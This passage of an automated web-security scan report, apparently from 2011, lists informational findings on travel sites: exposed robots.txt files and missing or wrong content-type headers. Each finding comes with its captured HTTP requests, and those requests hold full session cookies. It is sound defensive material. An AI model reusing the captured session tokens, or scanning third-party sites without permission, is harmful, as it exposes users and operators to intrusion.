Cookie: Stick2=ID=0%7CB%7C11%2F10%2F2011+16%3A53; Referral=SOURCEID=PL&PRODUCTID=&WEBENTRYTIME=11%2F10%2F2011+16%3A53%3A28&ID=FARECAST&CLICKID=FDC%5FAIRSEARCH; vsch=v20111110215328921bd022%5F86719894; vid=v20111110215328921bd022; SITESERVER=ID=bf049cba906144f4ad9961ab6fcbc674; CJK=5663010a5764010a20111110215348ce5010773649; __utma=137358961.2047494711.1320962016.1320962016.1320962016.1; __utmb=137358961.2.10.1320962016; __utmc=137358961; __utmz=137358961.1320962016.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; WT_FPC=id=290adf770e0880aab941320965614204:lv=1320965683991:ss=1320965614204; PSessKey=; JSessionKey=6f1410ac701410ac2011111021545868b021856785

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:55:09 GMT
Server: Apache
Last-Modified: Wed, 28 Jul 2010 17:45:22 GMT
ETag: "750025-1c0c2-48c762e8f1080"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 114882
Content-Type: text/javascript


// $Id: calendar-core.js 3672 2006-07-17 14:36:50Z slip $

/**
* The Calendar object constructor. Call it, for example, like this:
*
* \code
* // the following function is called when
...[SNIP]...
<support@zapatec.com>
...[SNIP]...

15. Robots.txt file  previous  next
There are 7 instances of this issue:

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.


15.1. http://om.expedia.com/b/ss/expedia1/1/H.23.3/s16921562908682  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://om.expedia.com
Path:   /b/ss/expedia1/1/H.23.3/s16921562908682

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: om.expedia.com

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:59:13 GMT
Server: Omniture DC/2.0.0
Last-Modified: Tue, 28 Sep 2010 18:58:27 GMT
ETag: "1e9153-18-6e161ac0"
Accept-Ranges: bytes
Content-Length: 24
xserver: www44
Keep-Alive: timeout=15
Connection: close
Content-Type: text/plain

User-agent: *
Disallow:

15.2. http://om.hotwire.com/b/ss/hotwirecom/1/H.23.2/s13584853033535  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://om.hotwire.com
Path:   /b/ss/hotwirecom/1/H.23.2/s13584853033535

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: om.hotwire.com

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:59:31 GMT
Server: Omniture DC/2.0.0
Last-Modified: Tue, 28 Sep 2010 18:58:27 GMT
ETag: "71156-18-6e161ac0"
Accept-Ranges: bytes
Content-Length: 24
xserver: www51
Keep-Alive: timeout=15
Connection: close
Content-Type: text/plain

User-agent: *
Disallow:

15.3. http://tickets.priceline.com/qp.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://tickets.priceline.com
Path:   /qp.asp

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: tickets.priceline.com

Response

HTTP/1.1 200 OK
Content-Length: 195
Content-Type: text/plain
Last-Modified: Thu, 23 Sep 2010 20:00:21 GMT
Accept-Ranges: bytes
ETag: "8038c2f3595bcb1:12c3"
Server: Microsoft-IIS/6.0
Date: Thu, 10 Nov 2011 21:53:31 GMT
Connection: close

# Robots.txt file
#

# Section 3: disallow all spidering for B and C


User-agent: adsbot-google
Disallow: /


User-agent: adidxbot
Disallow: /


User-agent: *
Disallow: /



15.4. http://travel.travelocity.com/flights/InitialSearch.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://travel.travelocity.com
Path:   /flights/InitialSearch.do

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: travel.travelocity.com

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:53:33 GMT
Server: Apache
Last-Modified: Fri, 30 Oct 2009 13:04:04 GMT
ETag: "23a0d3-cb-a98e9900"
Accept-Ranges: bytes
Content-Length: 203
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain; charset=ISO-8859-1

User-agent: *
Disallow:
Sitemap: http://travel.travelocity.com/cruise_sitemap.xml
Sitemap: http://hotels.travelocity.com/sitemap.xml
Sitemap: http://hotels.travelocity.com/sitemapindexhoteldetails.xml
...[SNIP]...

15.5. http://travelb.priceline.com/zp/zpmenu/themes/pclnhome.css  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://travelb.priceline.com
Path:   /zp/zpmenu/themes/pclnhome.css

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: travelb.priceline.com

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 22:02:11 GMT
Server: Apache
Last-Modified: Thu, 23 Sep 2010 13:30:21 GMT
ETag: "75004c-c3-490ed4380b540"
Accept-Ranges: bytes
Content-Length: 195
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain; charset=ISO-8859-1

# Robots.txt file
#

# Section 3: disallow all spidering for B and C


User-agent: adsbot-google
Disallow: /


User-agent: adidxbot
Disallow: /


User-agent: *
Disallow: /



15.6. http://www.bookingbuddy.com/tabsearches.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bookingbuddy.com
Path:   /tabsearches.php

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.bookingbuddy.com

Response

HTTP/1.0 200 OK
Server: Apache
Last-Modified: Wed, 09 Nov 2011 14:19:49 GMT
ETag: "1239070-197-4b14dfb074b40"
Accept-Ranges: bytes
Content-Length: 407
Vary: Accept-Encoding,User-Agent
Content-Type: text/plain
Date: Thu, 10 Nov 2011 21:54:00 GMT
Connection: close

User-agent: *
Disallow: /search.php
Disallow: /widgets/
Disallow: /fares/
Disallow: /travel-guides/
Disallow: /destinations.php
Disallow: /destinations/
Disallow: /hotel_specific.php
Disallow: /hotel_
...[SNIP]...

15.7. http://www.hotwire.com/air/dispatch.jsp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.hotwire.com
Path:   /air/dispatch.jsp

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.hotwire.com

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Accept-Ranges: bytes
ETag: W/"716-1318469646000"
Last-Modified: Thu, 13 Oct 2011 01:34:06 GMT
Content-Type: text/plain
Content-Length: 716
Date: Thu, 10 Nov 2011 21:53:35 GMT
Connection: keep-alive

#Sitemap Pointer
Sitemap: http://www.hotwire.com/sitemap.xml

#Allow all robots to crawl based on following directives
User-Agent: *

#Disallow any URL with query string parameters
Disallow: /*?

#Dis
...[SNIP]...

16. HTML does not specify charset  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bookingbuddy.com
Path:   /ajax/

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

GET /ajax/?service=LocationSuggest.validate&args=%7B%22input%22%3A%22MIA%22%2C%22types%22%3A%5B%22airport%22%5D%7D HTTP/1.1
Host: www.bookingbuddy.com
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*
Referer: http://www.bookingbuddy.com/tabsearches.php?search_mode=air&ctm=B1A1&source=bbs_farecast_flights_HP_unchecked-box-a_001&departure_city=BOS&departure_month=12+2011&departure_day=2&arrival_city=MIA&return_month=12+2011&return_day=4&search_type=roundtrip&num_travelers=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uu=342f1075-803a-4f97-bbd8-8bcaf944f866; referrer=5031%3A%3A%3A%3A%3A%3A1320962015%3A%3A%3A%3A%3A%3Abbs_farecast_flights_HP_unchecked-box-a_001; ssource=%7B%22id%22%3A5031%2C%22unique_name%22%3A%22bbs_farecast_flights_HP_unchecked-box-a_001%22%2C%22type%22%3A%22traq%22%2C%22marketing_partner%22%3A%22bing_travel_farecast%22%7D; vid=4ebc47df2402b8.69944490; cstream=mcid%3A%3A13285%7C%7C%7Cttl%3A%3A1321566815; pb_bb_ab_bbs_2441=d3072f1517d3a88ad1ce21568174ea7aa%3A1%3A%7Bs%3A14%3A%22bb_ab_bbs_2441%22%3Bs%3A12%3A%22bbs_2441_old%22%3B%7D; pb_bb_ab_display_ad=ab27bdc55c84037164090e1899a80c45a%3A1%3A%7Bs%3A16%3A%22bb_ab_display_ad%22%3Bs%3A21%3A%22bb_display_ad_enabled%22%3B%7D; pb_bb_ab_bbs_1947_2nd_try=b3e74166b80fad88a242891d9bfddc3fa%3A1%3A%7Bs%3A22%3A%22bb_ab_bbs_1947_2nd_try%22%3Bs%3A27%3A%22bb_site_ad_service_recipe_b%22%3B%7D; BBP_Ads=%7B%22pop%22%3Anull%2C%22tab%22%3A%5B%22Expedia%22%2C%22Cheap+Air%22%2C%22Priceline%22%2C%22Kayak%22%2C%22CheapoAir%22%2C%22Travelocity%22%2C%22OneTravel.com%22%2C%22Orbitz%22%5D%7D; pb_bb_ab_bbs_2495=61d24c0ae7a1a3f14ab434d21ed73c5da%3A1%3A%7Bs%3A14%3A%22bb_ab_bbs_2495%22%3Bs%3A10%3A%22bbs_2495_a%22%3B%7D; criteo_data=12/02/201112/04/2011BOSMIA5031; bbSearches=%7B%22cs%22%3A%7B%22c1%22%3A%22BOS%22%2C%22c2%22%3A%22MIA%22%2C%22st%22%3A%22roundtrip%22%2C%22ntrv%22%3A%221%22%2C%22d1%22%3A1322805600000%2C%22d2%22%3A1322978400000%2C%22t1%22%3A%22anytime%22%7D%2C%22rs%22%3A%7B%22air%22%3A%5B%5D%2C%22hotel%22%3A%5B%5D%2C%22car%22%3A%5B%5D%2C%22vacation%22%3A%5B%5D%2C%22vacation_rental%22%3A%5B%5D%2C%22cruise%22%3A%5B%5D%2C%22holiday%22%3A%5B%5D%7D%7D

Response

HTTP/1.1 200 OK
Server: Apache
ETag: 7583362a19baef2464909f6a48a44f0d9a360fa7776ae2cc56424b62eec8ac8520111110
Vary: Accept-Encoding,User-Agent
Content-Length: 52
Content-Type: text/html
Expires: Fri, 11 Nov 2011 21:54:40 GMT
Date: Thu, 10 Nov 2011 21:54:40 GMT
Connection: close

{"valid":1,"value":"Miami, FL (MIA)","country":"US"}

17. Content type incorrectly stated  previous  next
There are 2 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


17.1. http://travel.travelocity.com/flights/FlightFilterLog.do  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://travel.travelocity.com
Path:   /flights/FlightFilterLog.do

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain JSON.

Request

POST /flights/FlightFilterLog.do;jsessionid=3BDAD8821C840729BC4E28B4A5184BA6.p0618 HTTP/1.1
Host: travel.travelocity.com
Proxy-Connection: keep-alive
Content-Length: 244
Origin: http://travel.travelocity.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://travel.travelocity.com/flights/InitialSearch.do?Service=TRAVELOCITY&flightType=roundtrip&dateTypeSelect=exactDates&dateLeavingTime=Anytime&dateReturningTime=Anytime&adults=1&children=0&seniors=0&leavingDate=12%2F2%2F2011&returningDate=12%2F4%2F2011&leavingFrom=BOS&goingTo=MIA&WA1=03010&WA2=bingtravel.com&WA5=trave_flight_presearch_checkbox_|u&WA6=air
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tyrg1st=333E8418B772166C; TUID=bdfffb11-5e22-494f-b642-f0b9f36a3556; SID=T000V00000X111110155329158039359453652; pcookie=n; Service=TRAVELOCITY; mbox=check#true#1320962071|session#1320962010545-896769#1320963871|PC#1320962010545-896769.19#1322171617; __utma=1.543267917.1320962024.1320962024.1320962024.1; __utmb=1.1.10.1320962024; __utmc=1; __utmz=1.1320962024.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; IPE_S_TMP_910=910; mt.ti=%7B%22dest%22:%22MIA%22,%22tripDays%22:2%7D; mt.v=1.1040137567.1320962024293; JSID=3BDAD8821C840729BC4E28B4A5184BA6.p0618

ckbSummaryGridData=AA_267_7_252_8_USD_20111110155347%7Cmulti_null_0_248_16_USD_20111110155347%7CUS_null_0_274_6_USD_20111110155347%7CDL_null_0_277_7_USD_20111110155347%7CUA_null_0_354_4_USD_2011111015
...[SNIP]...

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:55:14 GMT
Server: Apache
Set-Cookie: JSID=1A5BD9EAD4AE015D0FE30D9A7F63DD76.p0711; Domain=.travelocity.com; Path=/
Set-Cookie: Service=TRAVELOCITY; Domain=.travelocity.com; Path=/
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 25

{
   "status": "success"
}

17.2. http://www.bookingbuddy.com/ajax/  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.bookingbuddy.com
Path:   /ajax/

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain JSON.

Request

GET /ajax/?service=LocationSuggest.validate&args=%7B%22input%22%3A%22MIA%22%2C%22types%22%3A%5B%22airport%22%5D%7D HTTP/1.1
Host: www.bookingbuddy.com
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*
Referer: http://www.bookingbuddy.com/tabsearches.php?search_mode=air&ctm=B1A1&source=bbs_farecast_flights_HP_unchecked-box-a_001&departure_city=BOS&departure_month=12+2011&departure_day=2&arrival_city=MIA&return_month=12+2011&return_day=4&search_type=roundtrip&num_travelers=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uu=342f1075-803a-4f97-bbd8-8bcaf944f866; referrer=5031%3A%3A%3A%3A%3A%3A1320962015%3A%3A%3A%3A%3A%3Abbs_farecast_flights_HP_unchecked-box-a_001; ssource=%7B%22id%22%3A5031%2C%22unique_name%22%3A%22bbs_farecast_flights_HP_unchecked-box-a_001%22%2C%22type%22%3A%22traq%22%2C%22marketing_partner%22%3A%22bing_travel_farecast%22%7D; vid=4ebc47df2402b8.69944490; cstream=mcid%3A%3A13285%7C%7C%7Cttl%3A%3A1321566815; pb_bb_ab_bbs_2441=d3072f1517d3a88ad1ce21568174ea7aa%3A1%3A%7Bs%3A14%3A%22bb_ab_bbs_2441%22%3Bs%3A12%3A%22bbs_2441_old%22%3B%7D; pb_bb_ab_display_ad=ab27bdc55c84037164090e1899a80c45a%3A1%3A%7Bs%3A16%3A%22bb_ab_display_ad%22%3Bs%3A21%3A%22bb_display_ad_enabled%22%3B%7D; pb_bb_ab_bbs_1947_2nd_try=b3e74166b80fad88a242891d9bfddc3fa%3A1%3A%7Bs%3A22%3A%22bb_ab_bbs_1947_2nd_try%22%3Bs%3A27%3A%22bb_site_ad_service_recipe_b%22%3B%7D; BBP_Ads=%7B%22pop%22%3Anull%2C%22tab%22%3A%5B%22Expedia%22%2C%22Cheap+Air%22%2C%22Priceline%22%2C%22Kayak%22%2C%22CheapoAir%22%2C%22Travelocity%22%2C%22OneTravel.com%22%2C%22Orbitz%22%5D%7D; pb_bb_ab_bbs_2495=61d24c0ae7a1a3f14ab434d21ed73c5da%3A1%3A%7Bs%3A14%3A%22bb_ab_bbs_2495%22%3Bs%3A10%3A%22bbs_2495_a%22%3B%7D; criteo_data=12/02/201112/04/2011BOSMIA5031; bbSearches=%7B%22cs%22%3A%7B%22c1%22%3A%22BOS%22%2C%22c2%22%3A%22MIA%22%2C%22st%22%3A%22roundtrip%22%2C%22ntrv%22%3A%221%22%2C%22d1%22%3A1322805600000%2C%22d2%22%3A1322978400000%2C%22t1%22%3A%22anytime%22%7D%2C%22rs%22%3A%7B%22air%22%3A%5B%5D%2C%22hotel%22%3A%5B%5D%2C%22car%22%3A%5B%5D%2C%22vacation%22%3A%5B%5D%2C%22vacation_rental%22%3A%5B%5D%2C%22cruise%22%3A%5B%5D%2C%22holiday%22%3A%5B%5D%7D%7D

Response

HTTP/1.1 200 OK
Server: Apache
ETag: 7583362a19baef2464909f6a48a44f0d9a360fa7776ae2cc56424b62eec8ac8520111110
Vary: Accept-Encoding,User-Agent
Content-Length: 52
Content-Type: text/html
Expires: Fri, 11 Nov 2011 21:54:40 GMT
Date: Thu, 10 Nov 2011 21:54:40 GMT
Connection: close

{"valid":1,"value":"Miami, FL (MIA)","country":"US"}

18. Content type is not specified  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.hotwire.com
Path:   /favicon.ico

Issue description

If a web response does not specify a content type, then the browser will usually analyse the response and attempt to determine the MIME type of its content. This can have unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the absence of a content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /favicon.ico HTTP/1.1
Accept: */*
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (compatible; Google Desktop/5.9.1005.12335; http://desktop.google.com/)
Host: www.hotwire.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Accept-Ranges: bytes
ETag: W/"2238-1318469621000"
Last-Modified: Thu, 13 Oct 2011 01:33:41 GMT
ntCoent-Length: 2238
Date: Thu, 10 Nov 2011 21:57:44 GMT
Cache-Control: private
Content-Length: 2238

...... ..............(... ...@.......................................km..........RU......JI..)(........................................................................................................
...[SNIP]...

Report generated by XSS.CX at Fri Nov 11 05:48:10 CST 2011.